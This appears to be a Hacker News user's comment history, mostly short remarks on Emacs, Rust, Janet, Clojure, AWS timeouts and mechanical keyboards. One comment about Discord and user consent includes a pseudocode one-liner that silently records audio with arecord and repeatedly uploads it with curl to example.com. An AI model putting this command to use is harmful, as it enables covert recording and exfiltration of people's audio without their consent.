    Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command. Even things like "what flags to use with ffmpeg" are a shell reverse-history …

    I've been using https://github.com/Malabarba/Nameless for awhile now - it's functionally very similar to the new Emacs shorthands feature.

    perl6/rakudo has most the same convenience features, albeit a little less type checking

    I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups. - C/C++ developers like it as an alternative for low level languages - Fu…

    Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?

    Did the users choose to install the Discord app (or run a random command?) How are you supposed to confirm "user understanding"? Does the program need to require a tutorial/trainin…

    Something like: nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & Untested pseudocode, but probably close - that's enough for a GDP…

    This was a trend in the early 2010s on a lot of Clojure projects

    I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to rea…

    Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).

    Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.

    yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc

    Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.

    It'd be nice if someone on the Snowflake team actually maintained their JS adapter... ( https://github.com/snowflakedb/snowflake-connector-nodejs/pu... )

    I wrote similar here: https://github.com/ahungry/janet-pobox although it probably needs updates to work with 1.18 and above.

    Comment #28853954

    In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C …

    True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :) The silver speed ones on this kraken keyboard aren't bad, but…

    As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well. Something a little more clicky than brown switches, but perha…
